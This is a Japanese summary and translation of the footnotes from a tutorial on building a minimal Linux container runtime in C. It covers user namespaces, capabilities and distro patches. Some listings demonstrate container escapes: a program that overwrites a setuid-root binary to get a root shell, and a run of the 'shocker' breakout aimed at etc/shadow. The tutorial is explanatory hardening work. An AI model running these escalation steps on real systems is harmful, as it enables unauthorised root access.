HN 日本語サマリー

← 一覧へ戻る
インフラ・DevOps

500行のコードで学ぶLinuxコンテナ

Linux containers in 500 lines of code (blog.lizzie.io)

122 pointsby mkornaukhov25 コメント

要約

この記事は、Linuxコンテナの仕組みを理解するために、約500行のCコードで実装されたシンプルなコンテナランタイムを紹介しています。著者は、名前空間、ケーパビリティ、リソース制限、システムコールフィルタリングといった、コンテナを構成する主要なLinuxカーネルのメカニズムを解説し、それらをどのように組み合わせて最小限の制限でコードを実行できるかを示しています。

全文翻訳

Linuxコンテナを500行のコードで理解する

1

Erica Windischによる"Linux User Namespaces Might Not Be Secure Enough"より:

(実際の) rootユーザーからSYS_CAP_ADMINケーパビリティが削除されていても、ユーザー名前空間を作成すると、このケーパビリティは(偽の)rootユーザーに復元されます。つまり、名前空間を作成する前は「mount」は拒否されますが、ユーザー名前空間の作成後、「mount」システムコールは限定的ではあるものの、再び機能するようになります。機能は限定的ですが、これは(実際の)rootユーザーとユーザー名前空間を持つカーネルがあれば、Linuxケーパビリティが完全に覆される可能性があることを意味するほど重要です。

そして man 7 user_namespaces には次のように書かれています:

CLONE_NEWUSERフラグを指定してclone(2)によって作成された子プロセスは、新しいユーザー名前空間内で完全なケーパビリティセットを持って開始されます。

そして、"Understanding and Hardening Linux Containers" では再び次のように述べられています:

ユーザー名前空間は、セキュリティモデルの「興味深い」交差を可能にし、完全なrootケーパビリティが新しい名前空間に付与されます。これにより、コンテナが使用されていない場合、CLONE_NEWUSERは他のネットワーク名前空間に公開されているものに対してCAP_NET_ADMINを効果的に使用できるようになります。さらに、何度も見てきたように、CAP_NET_ADMINを持つプロセスは大きな攻撃対象領域を持ち、多くの異なるカーネル脆弱性の原因となっています。これにより、特権のないユーザー名前空間が大きな攻撃対象領域(カーネルネットワーキングサブシステム)を標的にできる可能性がありますが、ケーパビリティが削減された特権コンテナにはそのような権限はありません。このトピックの詳細については、39ページのセクション5.5を参照してください。

(ユーザー名前空間がコンパイルされているホストで)この動作を実証できます。

リスト1: subverting_networking.c

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -static  subverting_networking.c \
/*                   -o subverting_networking" */
/* End: */
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/sockios.h>

int main (int argc, char **argv)
{
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) {
		fprintf(stderr, "++ unshare failed: %%m\n");
		return 1;
	}
	/* this is how you create a bridge... */
	int sock = 0;
	if ((sock = socket(PF_LOCAL, SOCK_STREAM, 0)) == -1) {
		fprintf(stderr, "++ socket failed: %%m\n");
		return 1;
	}
	if (ioctl(sock, SIOCBRADDBR, "br0")) {
		fprintf(stderr, "++ ioctl failed: %%m\n");
		close(sock);
		return 1;
	}
	close(sock);
	fprintf(stderr, "++ success!\n");
	return 0;
}
  alpine-kernel-dev:~$ whoami
  lizzie
  alpine-kernel-dev:~$ ./subverting_networking
  ++ success!
  alpine-kernel-dev:~$ 

しかし、実際にはそれほど強力ではありません。

リスト2: subverting_setfcap.c

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -lcap -static subverting_setfcap.c \
/*                   -o subverting_setfcap" */
/* End: */
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <linux/capability.h>
#include <sys/capability.h>

int main (int argc, char **argv)
{
	if (unshare(CLONE_NEWUSER)) {
		fprintf(stderr, "++ unshare failed: %%m\n");
		return 1;
	}
	cap_t cap = cap_from_text("cap_net_admin+ep");
	if (cap_set_file("example", cap)) {
		fprintf(stderr, "++ cap_set_file failed: %%m\n");
		cap_free(cap);
		return 1;
	}
	cap_free(cap);
	return 0;
}
  alpine-kernel-dev:~$ whoami
  lizzie
  alpine-kernel-dev:~$ touch example
  alpine-kernel-dev:~$ ./subverting_setfcap
  ++ cap_set_file failed: Operation not permitted

2

init/Kconfig:1207@c8d2bc

config USER_NS
	bool "User namespace"
	default n
	help
	  This allows containers, i.e. vservers, to use user namespaces
	  to provide different user info for different servers.

	  When user namespaces are enabled in the kernel it is
	  recommended that the MEMCG option also be enabled and that
	  user-space use the memory control groups to limit the amount
	  of memory a memory unprivileged users can use.

	  If unsure, say N.

3

UbuntuはCONFIG_USER_NSをオンにしますが、sysctlで非特権使用を無効にできるようにパッチを当てています。unpriviliged_userns_clone。

リスト3: 92e575e769cc50a9bfb50fb58fe94aab4f2a2bff

commit 92e575e769cc50a9bfb50fb58fe94aab4f2a2bff
Author: Serge Hallyn <redacted>
Date:   Tue Jan 5 20:12:21 2016 +0000

    UBUNTU: SAUCE: add a sysctl to disable unprivileged user namespace unsharing
    
    It is turned on by default, but can be turned off if admins prefer or, 
    more importantly, if a security vulnerability is found.
    
    The intent is to use this as mitigation so long as Ubuntu is on the
    cutting edge of enablement for things like unprivileged filesystem
    mounting.
    
    (This patch is tweaked from the one currently still in Debian sid, which
    in turn came from the patch we had in saucy)
    
    Signed-off-by: Serge Hallyn <redacted>
    [bwh: Remove unneeded binary sysctl bits]
    Signed-off-by: Tim Gardner <redacted>

Debianも同様の動作をします:

リスト4: debian/patches/debian/add-sysctl-to-allow-unprivileged-CLONE_NEWUSER-by-default.patch

From: Serge Hallyn <redacted>
Date: Fri, 31 May 2013 19:12:12 +0000 (+0100)
Subject: add sysctl to disallow unprivileged CLONE_NEWUSER by default
Origin: http://kernel.ubuntu.com/git?p=serge%2Fubuntu-saucy.git;a=commit;h=5c847404dcb2e3195ad0057877e1422ae90892b8

add sysctl to disallow unprivileged CLONE_NEWUSER by default

This is a short-term patch. Unprivileged use of CLONE_NEWUSER
is certainly an intended feature of user namespaces. However
for at least saucy we want to make sure that, if any security
issues are found, we have a fail-safe.

Signed-off-by: Serge Hallyn <redacted>
[bwh: Remove unneeded binary sysctl bits]
---

Grsecurityは、CAP_SYS_ADMIN、CAP_SETUID、CAP_SETGIDを持たないユーザーに対しては完全に無効にします。

リスト5: https://grsecurity.net/test/grsecurity-3.1-4.7.9-201610200819.patch

--- a/kernel/user_namespace.c
+++ b/kernel/user_namespace.c
@@ -84,6 +84,21 @@ int create_user_ns(struct cred *new)
 	    !kgid_has_mapping(parent_ns, group))
 		return -EPERM;
 
+#ifdef CONFIG_GRKERNSEC
+	/*
+	 * This doesn't really inspire confidence:
+	 * http://marc.info/?l=linux-kernel&m=135543612731939&w=2
+	 * http://marc.info/?l=linux-kernel&m=135545831607095&w=2
+	 * Increases kernel attack surface in areas developers
+	 * previously cared little about ("low importance due
+	 * to requiring \"root\" capability")
+	 * To be removed when this code receives *proper* review
+	 */
+	if (!capable(CAP_SYS_ADMIN) || !capable(CAP_SETUID) ||
+			!capable(CAP_SETGID))
+		return -EPERM;
+#endif
+
 
 int create_user_ns(struct cred *new)
 {

そしてArch Linuxは無効にしています。

リスト6: {linux} 3.13 add CONFIG_USER_NS

Comment by William Kennington (Webhostbudd) - Sunday, 06 October 2013, 03:55 GMT

I agree with Florian, allowing non-root users to take advantage of
elevating themselves to a local root seems like a huge attack
surface. Preferably this would be a sysctl with a huge warning
attached to it when it is switched on.

Comment by Daniel Micay (thestinger) - Monday, 24 November 2014, 03:55 GMT

[...] Arch doesn't add new features via patches. If you want to see
this feature enabled, then land something like this upstream. Note
that CONFIG_USER_NS is already enabled in the linux-grsec package
because it fully removes the ability to have unprivileged user
namespaces.

Red Hatのパッチを含めることができればよかったのですが、見つけられませんでした。

4

このセクションのほとんどは、man 2 cloneの末尾にある例から抜粋したものです。

5

リスト11: clone_stack.c

/* -*- compile-command: "gcc -Wall -Werror clone_stack.c -o clone_stack" -*- */
#define _GNU_SOURCE
#include <sched.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define STACK_SIZE (1024 * 1024)

int child (void *_) 
{
	int stack_value = 0;
	fprintf(stderr, "pre-execve, stack is ~%%p\n", &stack_value);
	execve("./show_stack", (char  *[]) {"./show_stack", 0}, NULL);
	return 0;
}

int main (int argc, char **argv) {
	void *stack = malloc(STACK_SIZE);
	clone(child, stack + STACK_SIZE, SIGCHLD, NULL);
	wait(NULL);
	return 0;
}

リスト12: show_stack.c

/* -*- compile-command: "gcc -Wall -Werror -static show_stack.c -o show_stack" -*- */
#include <stdio.h>

int main (int argc, char **argv)
{
	int stack_value = 0;
	fprintf(stderr, "post-execve, stack is ~%%p\n", &stack_value);
	return 0;
}
  [lizzie@empress linux-containers-in-500-loc]$ ./clone_stack
  pre-execve, stack is ~0x7f3f98deefec
  post-execve, stack is ~0x7ffd14d2291c

スタックはx86では下向きに成長するため、execve後にアドレスが数値的に高くなっているのは、新しいスタックが割り当てられたことを意味します。

6

これは未定義の動作かもしれないと思いましたが、ISO-9899の6.5.6 [Additive operators] のポイント8でカバーされています:

ポインタオペランドと結果の両方が同じ配列オブジェクトの要素、または配列オブジェクトの最後の要素の1つ後を指す場合、評価はオーバーフローを発生させてはなりません。それ以外の場合は、動作は未定義です。結果が配列オブジェクトの最後の要素の1つ後を指す場合、それは評価される単項*演算子のオペランドとして使用されてはなりません。

つまり、ポインタ加算は有効ですが、それを逆参照することはできません。

7

waitpidがプロセスとそのすべての子供を待つのに十分であると確信できませんでしたが、pid名前空間のルートが閉じられると、そのすべての子供はSIGKILLを受け取ります:

man 7 pid_namespaces:

PID名前空間の「init」プロセスが終了すると、カーネルはSIGKILLシグナルを介して名前空間内のすべてのプロセスを終了させます。この動作は、「init」プロセスがPID名前空間の正しい操作に不可欠であるという事実を反映しています。

自分で確認したことでもあります。それを見つける前に:

リスト18: persistent_child.c

/* -*- compile-command: "gcc -Wall -Werror -static persistent_child.c -o persistent_child" -*- */
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main (int argc, char **argv)
{
	switch (fork()) {
	case -1:
		fprintf(stderr, "++ fork failed: %%m\n");
		return 1;
	case 0:;
		int fd = 0;
		if ((fd = open("persistent_child.log",
			       O_CREAT | O_APPEND | O_WRONLY,
			       S_IRUSR | S_IWUSR)) == -1) {
			fprintf(stderr, "++ open failed: %%m\n");
			return 1;
		}
		size_t count = 0;
		while (count < 100) {
			if (dprintf(fd, "%%lu\n", count++) < 0) {
				fprintf(stderr, "++ dprintf failed: %%m\n");
				close(fd);
				return 1;
			}
			sleep(1);
		}
		close(fd);
		return 0;
	default:
		sleep(2);
		return 0;
	}
}
[lizzie@empress l-c-i-500-l]$ touch persistent_child.log 
[lizzie@empress l-c-i-500-l]$ chmod 666 persistent_child.log 
[lizzie@empress l-c-i-500-l]$ sudo strace -f ./contained -m . -u 0 -c ./persistent_child
execve("./contained", ["./contained", "-m", ".", "-u", "0", "-c", "./persistent_child"], [/* 15 vars */]) = 0
brk(NULL)                               = 0x605490
# ...
[pid   736] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x6b68d0) = 2
strace: Process 746 attached
[pid   736] nanosleep({2, 0},  <unfinished ...>
[pid   746] open("persistent_child.log", O_WRONLY|O_CREAT|O_APPEND, 0600) = 3
[pid   746] fstat(3, {st_mode=S_IFREG|0666, st_size=4, ...}) = 0
[pid   746] lseek(3, 0, SEEK_CUR)       = 0
[pid   746] write(3, "0\n", 2)          = 2
[pid   746] nanosleep({1, 0}, 0x3fee2d718d0) = 0
[pid   746] fstat(3, {st_mode=S_IFREG|0666, st_size=6, ...}) = 0
[pid   746] lseek(3, 0, SEEK_CUR)       = 6
[pid   746] write(3, "1\n", 2)          = 2
[pid   746] nanosleep({1, 0},  <unfinished ...>
[pid   736] <... nanosleep resumed> 0x3fee2d718d0) = 0
[pid   736] exit_group(0)               = ?
[pid   746] +++ killed by SIGKILL +++
[pid   736] +++ exited with 0 +++
# ...

リスト19: <<namespaces>> +=

	close(sockets[1]);
	sockets[1] = 0;
	if (handle_child_uid_map(child_pid, sockets[0])) {
		err = 1;
		goto kill_and_finish_child;
	}

	goto finish_child;
kill_and_finish_child:
	if (child_pid) kill(child_pid, SIGKILL);
finish_child:
	int child_status = 0;
	waitpid(child_pid, &child_status, 0);
	err |= WEXITSTATUS(child_status);
clear_resources:
	free_resources(&config);
	free(stack);

プロセスが自身のユーザー名前空間を設定することは非常に限定的です8ので、親は子プロセスがユーザー名前空間に入るまで待機し、その後uid_mapとgid_mapにマッピングを書き込みます。

8

リスト20: man 7 user_namespaces

	In order for  a process  to write  to the /proc/[pid]/uid_map
	(/proc/[pid]/gid_map)   file,    all   of    the   following
	requirements must  be met:

	1. The writing process must have the CAP_SETUID (CAP_SETGID)
	   capability in the user namespace of the process pid.

	2. The writing process must either  be in the user namespace
	   of the process pid or be  in the parent user namespace of
	   the process pid.

	3. The  mapped user  IDs (group  IDs)  must in  turn have  a
	   mapping in the parent user namespace.

	4. One of the following two cases applies:

	   *  Either   the  writing   process  has   the  CAP_SETUID
		 (CAP_SETGID) capability in the parent user namespace.

		 +  No further restrictions apply: the process can make
		    mappings to  arbitrary user IDs  (group  IDs)  in the
		    parent user namespace.

	   *  Or otherwise all of the following restrictions apply:

		 +  The data written to  uid_map (gid_map) must consist
		    of a  single line  that maps the  writing process's
		    effective  user ID  (group  ID)  in the  parent user
		    namespace  to a  user  ID (group  ID)  in the  user
		    namespace.

		 +  The writing  process must  have the  same effective
		    user  ID  as  the  process that  created  the  user
		    namespace.

		 +  In  the case  of gid_map,  use of  the setgroups(2)
		    system call must first be denied by writing deny to
		    the /proc/[pid]/setgroups  file (see  below) before
		    writing to gid_map.

	Writes  that violate  the above  rules fail  with the  error
	EPERM.

9

gid、sgid、egidはstruct credのgroup_infoとは別です:

リスト22: include/linux/cred.h:95@c8d2bc

/*
 * The security context of a task
 *
 * The parts of the context break down into two categories:
 *
 *  (1) The objective context of a task. These parts are used when some other
 *      task is attempting to affect this one.
 *
 *  (2) The subjective context. These details are used when the task is acting
 *      upon another object, be that a file, a task, a key or whatever.
 *
 * Note that some members of this structure belong to both categories - the
 * LSM security pointer for instance.
 *
 * A task has two security pointers.  task->real_cred points to the objective
 * context that defines that task's actual details.  The objective part of this
 * context is used whenever that task is acted upon.
 *
 * task->cred points to the subjective context that defines the details of how
 * that task is going to act upon another object.  This may be overridden
 * temporarily to point to another security context, but normally points to the
 * same context as task->real_cred.
 */
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers; /* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid; /* real UID of the task */
	kgid_t		gid; /* real GID of the task */
	kuid_t		suid; /* saved UID of the task */
	kgid_t		sgid; /* saved GID of the task */
	kuid_t		euid; /* effective UID of the task */
	kgid_t		egid; /* effective GID of the task */
	kuid_t		fsuid; /* UID for VFS ops */
	kgid_t		fsgid; /* GID for VFS ops */
	unsigned	securebits; /* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted; /* caps we're permitted */
	kernel_cap_t	cap_effective; /* caps we can actually use */
	kernel_cap_t	cap_bset; /* capability bounding set */
	kernel_cap_t	cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring; /* default keyring to attach requested
				    keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security; /* subjective LSM security */
#endif
	struct user_struct *user; /* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info; /* supplementary groups for euid/fsgid */
	struct rcu_head	rcu; /* RCU deletion hook */
};

10

例えば、/proc/sysハンドリングコードのtest_permです:

リスト25: fs/proc/proc_sysctl.c:406@c8d2bc

static int test_perm(int mode, int op)
{
	if (uid_eq(current_euid(), GLOBAL_ROOT_UID))
		mode >>= 6;
	else if (in_egroup_p(GLOBAL_ROOT_GID))
		mode >>= 3;
	if ((op & ~mode & (MAY_READ|MAY_WRITE|MAY_EXEC)) == 0)
		return 0;
	return -EACCES;
}

11

リスト26: try_regain_cap.c

/* -*- compile-command: "gcc -Wall -Werror -static try_regain_cap.c -o try_regain_cap" -*- */
#include <linux/capability.h>
#include <sys/prctl.h>
#include <stdio.h>

int main (int argc, char  **argv)
{
	if (prctl(PR_CAPBSET_READ, CAP_MKNOD, 0, 0, 0)) {
 		fprintf(stderr, "++ have CAP_MKNOD\n");
	} else {
		fprintf(stderr, "++ don't have CAP_MKNOD\n");
	}
	return 0;
}

境界セットをドロップすると、追加のケーパビリティを持つファイルはそのケーパビリティを取得できません:

[lizzie@empress l-c-i-500-l]$ sudo setcap "cap_mknod+p" try_regain_cap
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Qnzw2A...done.
=> trying a user namespace...writing /proc/852/uid_map...writing /proc/852/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ don't have CAP_MKNOD
=> cleaning cgroups...done.

しかし、そうしない場合は機能します:

リスト27: allow_all_caps.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..6ab1719 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -53,10 +53,7 @@ int capabilities()
 	ssize_t num_caps = sizeof(drop_caps) / sizeof(*drop_caps);
 	fprintf(stderr, "bounding...");
 	for (size_t i = 0; i < num_caps; i++) {
-		if (prctl(PR_CAPBSET_DROP, drop_caps[i], 0, 0, 0)) {
-			fprintf(stderr, "prctl failed: %%m\n");
-			return 1;
-		}
+		continue;
 	}
 	fprintf(stderr, "inheritable...");
 	cap_t caps = NULL;
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_all_caps -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Qnzw2A...done.
=> trying a user namespace...writing /proc/940/uid_map...writing /proc/940/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ have CAP_MKNOD
=> cleaning cgroups...done.

(そして+epを設定すると、execveは「ケーパビリティダンプバイナリ」と見なされるため失敗します)

[lizzie@empress l-c-i-500-l]$ sudo setcap "cap_mknod+ep" try_regain_cap
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Esog3p...done.
=> trying a user namespace...writing /proc/994/uid_map...writing /proc/994/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
execve failed! Operation not permitted.
=> cleaning cgroups...done.

リスト28: man 7 capabilities

   Safety checking for capability-dumb binaries
	A  capability-dumb binary  is an  application that  has been
	marked to have file capabilities, but has not been converted
	to  use the  libcap(3) API  to manipulate  its capabilities.
	(In  other words,  this  is  a traditional  set-user-ID-root
	program that has been switched to use file capabilities, but
	whose   code   has   not   been   modified   to   understand
	capabilities.)    For  such   applications,  the   effective
	capability  bit  is  set  on  the file,  so  that  the  file
	permitted  capabilities  are  automatically enabled  in  the
	process effective  set when executing  the file.  The kernel
	recognizes a file which has the effective capability bit set
	as capability-dumb  for the  purpose of the  check described
	here.

	When executing  a capability-dumb binary, the  kernel checks
	if the process obtained all permitted capabilities that were
	specified in  the file  permitted set, after  the capability
	transformations described  above have been  performed.  (The
	typical  reason  why  this  might  not  occur  is  that  the
	capability bounding set masked  out some of the capabilities
	in the file  permitted set.)  If the process  did not obtain
	the full set of  file permitted capabilities, then execve(2)
	fails with the error EPERM.  This prevents possible security
	risks that could arise when a capability-dumb application is
	executed with less  privilege that it needs.   Note that, by
	definition, the application could  not itself recognize  this
	problem, since it does not employ the libcap(3) API.

12

リスト30: kernel/audit.c:663@c8d2bc

switch (msg_type) {
case AUDIT_LIST:
case AUDIT_ADD:
case AUDIT_DEL:
	return -EOPNOTSUPP;
case AUDIT_GET:
case AUDIT_SET:
case AUDIT_GET_FEATURE:
case AUDIT_SET_FEATURE:
case AUDIT_LIST_RULES:
case AUDIT_ADD_RULE:
case AUDIT_DEL_RULE:
case AUDIT_SIGNAL_INFO:
case AUDIT_TTY_GET:
case AUDIT_TTY_SET:
case AUDIT_TRIM:
case AUDIT_MAKE_EQUIV:
	/* Only support auditd and auditctl in initial pid namespace
	 * for now. */
	if (task_active_pid_ns(current) != &init_pid_ns)
		return -EPERM;

	if (!netlink_capable(skb, CAP_AUDIT_CONTROL))
		err = -EPERM;
	break;
case AUDIT_USER:
case AUDIT_FIRST_USER_MSG ... AUDIT_LAST_USER_MSG:
case AUDIT_FIRST_USER_MSG2 ... AUDIT_LAST_USER_MSG2:
	if (!netlink_capable(skb, CAP_AUDIT_WRITE))
		err = -EPERM;
	break;
default:  /* bad msg */
	err = -EINVAL;
}

13

監査システムファイルディスクリプタは、次のように呼び出すことで取得できます。

socket(AF_NETLINK, SOCK_DGRAM, NETLINK_AUDIT)

リスト31: man 7 netlink

NETLINK(7) -- 2016-07-17 -- Linux -- Linux Programmer's Manual

NAME
	netlink  -  communication  between  kernel  and  user  space
	(AF_NETLINK)
SYNOPSIS
	[...]
	netlink_socket = socket(AF_NETLINK, socket_type, netlink_family);
	[...]
DESCRIPTION
	Netlink is  used to transfer  information between the kernel
	and  user-space  processes.   It   consists  of  a  standard
	sockets-based  interface for  user  space  processes and  an
	internal kernel API for kernel modules.
	[...]
	netlink_family selects the kernel module or netlink group to
	communicate with.   The currently assigned  netlink families
	are:
	[...]
	NETLINK_AUDIT (since Linux 2.6.6)
		Auditing.

14

リスト33: man 7 capabilities

	CAP_BLOCK_SUSPEND (since Linux 3.5)
		Employ features that can block system suspend (epoll(7)
		EPOLLWAKEUP, /proc/sys/wake_lock).

15

Sebastian Krahmerによるメールと説明

0.11では、コンテナ内で実行されるアプリがCAP_DAC_READ_SEARCHとCAP_DAC_OVERRIDEを持っているため、コンテナ化されたアプリがパス名(ルートfsのバインドマウントのため不可能)だけでなく、open_by_handle_at()経由でハンドルによってもファイルにアクセスできるという問題があります。ハンドルはほとんどが64ビット値であり、inodeベースであるため、ある程度事前に計算できます。inode of /は2です。したがって、ハンドル2を渡してFSをウォークし、アクセスしたいファイルのinode#を見つけることができます。コンテナ化されていても/var/libのどこかにいてもです。

これはコード、shocker.cにリンクされています。

ユーザー名前空間がオンになっている場合、open_by_handle_atはルート名前空間でCAP_DAC_READ_SEARCHをチェックするため、脆弱性はありません:

[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.GSmTxw...done.
=> trying a user namespace...writing /proc/1538/uid_map...writing /proc/1538/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted
=> cleaning cgroups...done.

リスト35: fs/fhandle.c:166

static int handle_to_path(int mountdirfd, struct file_handle __user *ufh,
		   struct path *path)
{
	int retval = 0;
	struct file_handle f_handle;
	struct file_handle *handle = NULL;

	/*
	 * With handle we don't look at the execute bit on the
	 * the directory. Ideally we would like CAP_DAC_SEARCH.
	 * But we don't have that
	 */
	if (!capable(CAP_DAC_READ_SEARCH)) {
		retval = -EPERM;
		goto out_err;
	}
	/* ... */
}

16

setuid実行可能ファイルをサブバートします:

リスト37: harmless_setuid.c

/* -*- compile-command: "gcc -Wall -Werror harmless_setuid.c -o harmless_setuid" -*- */
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	uid_t a, b, c = 0;
	getresuid(&a, &b, &c);
	printf("I'm #%%d/%%d/%%d\n", a, b, c);
	return 0;
}

このプログラムは自身を実行可能ファイルargv[1]に書き込みます。それがsetuid root実行可能ファイルであり、ユーザー名前空間がなく、CAP_FSETIDがドロップされていない場合、setuid rootを保持します。

リスト38: cap_fsetid.c

/* -*- compile-command: "gcc -Wall -Werror -static cap_fsetid.c -o cap_fsetid" -*- */
#define _GNU_SOURCE
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	if (argc == 2) {
		/* write our contents to the setuid file. */
		int setuid_file = 0;
		int own_file = 0;
		if ((setuid_file = open(argv[1], O_WRONLY | O_TRUNC)) == -1
		    || (own_file = open(argv[0], O_RDONLY)) == -1) {
			fprintf(stderr, "++ open failed: %%m\n");
			return 1;
		}
		erno = 0;
		char here = 0;
		while (read(own_file, &here, 1) > 0
		       && write(setuid_file, &here, 1) > 0);;
		if (errno) {
			fprintf(stderr, "++ reading/writing: %%m\n");
			close(setuid_file);
			close(own_file);
		}
		close(own_file);
		close(setuid_file);
	} else {
		if (setresuid(0, 0, 0)) {
			fprintf(stderr, "++ failed switching uids to root: %%m\n");
			return 1;
		}
		execve("/bin/sh", (char *[]) { "sh", 0 }, NULL);
	}
	return 0;
}

リスト39: allow_capfsetid.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..17e7373 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -34,7 +34,6 @@ int capabilities()
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
 		CAP_DAC_READ_SEARCH,
-		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
[lizzie@empress l-c-i-500-l]$ make -B harmless_setuid
cc -Wall -Werror -static harmless_setuid.c -o harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chown root harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chmod 4755 harmless_setuid
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid
I'm #1000/0/0
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./cap_fsetid harmless_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.qapCVs...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid 
++ failed switching uids to root: Operation not permitted
[lizzie@empress l-c-i-500-l]$ make -B harmless_setuid
cc -Wall -Werror -static harmless_setuid.c -o harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chown root harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chmod 4755 harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capfsetid -m . -u 0 -c ./cap_fsetid harmless_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.4u1dNe...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ls -lh ./harmless_setuid
-rwsr-xr-x 1 root lizzie 788K Oct 25 05:22 ./harmless_setuid
[lizzie@empress l-c-i-500-l]$ ./harmless_setuid
sh-4.3# whoami
root
sh-4.3# id
uid=0(root) gid=1000(lizzie) groups=1000(lizzie)
sh-4.3# exit
[lizzie@empress l-c-i-500-l]$ rm harmless_setuid

17

リスト41: man 2 mlock

DESCRIPTION
	mlock(), mlock2(),  and mlockall() lock  part or all  of the
	calling process's virtual address space into RAM, preventing
	that memory  from being  paged to the  swap area.

	munlock() and  munlockall() perform the  converse operation,
	unlocking  part  or all  of  the  calling process's  virtual
	address  space,  so  that  pages in  the  specified  virtual
	address range may once more to be swapped out if required by
	the kernel memory manager.

	Memory locking and unlocking  are performed in units of whole
	pages.

ERRORS

	ENOMEM
		(Linux  2.6.9  and  later)  the caller  had  a  nonzero
		RLIMIT_MEMLOCK soft  resource limit, but tried  to lock
		more memory  than the  limit permitted.  This  limit is
